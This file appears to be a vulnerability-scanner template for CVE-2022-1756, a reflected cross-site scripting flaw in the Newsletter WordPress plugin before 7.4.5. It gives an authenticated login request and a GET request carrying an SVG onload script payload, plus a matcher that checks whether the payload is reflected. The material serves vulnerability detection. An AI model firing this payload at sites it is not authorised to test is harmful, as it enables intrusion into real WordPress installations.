49 lines
1.9 KiB
YAML
49 lines
1.9 KiB
YAML
id: CVE-2022-1756
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info:
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name: Newsletter < 7.4.5 - Cross-Site Scripting
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author: Harsh
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severity: medium
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description: |
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The Newsletter WordPress plugin before 7.4.5 does not sanitize and escape the $_SERVER['REQUEST_URI'] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.
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remediation: Fixed in version 7.4.5
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reference:
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- https://wpscan.com/vulnerability/6ad407fe-db2b-41fb-834b-dd8c4f62b072
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- https://nvd.nist.gov/vuln/detail/CVE-2022-1756
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- https://wordpress.org/plugins/newsletter/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2022-1756
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cwe-id: CWE-79
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epss-score: 0.00099
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epss-percentile: 0.40821
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cpe: cpe:2.3:a:thenewsletterplugin:newsletter:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: thenewsletterplugin
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product: newsletter
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framework: wordpress
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publicwww-query: "/wp-content/plugins/newsletter/"
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tags: wpscan,cve,cve2022,newsletter,xss,authenticated
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http:
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- raw:
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/admin.php?page=newsletter_main_index&debug&"><svg/onload=alert(/document.domain/)> HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'status_code == 200'
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- 'contains(body, "newsletter") && contains(body, "><svg/onload=alert(/document.domain/)>")'
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condition: and
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# digest: 490a0046304402207e1f2293fb054fb9b1044ef84c884504ebd55037becf6c4a88a6efccadf9a75b02203717901725165841e0a106ff5717a4d97987e7ceeab85faa2f6c5c18b4b6babe:922c64590222798bb761d5b6d8e72950 |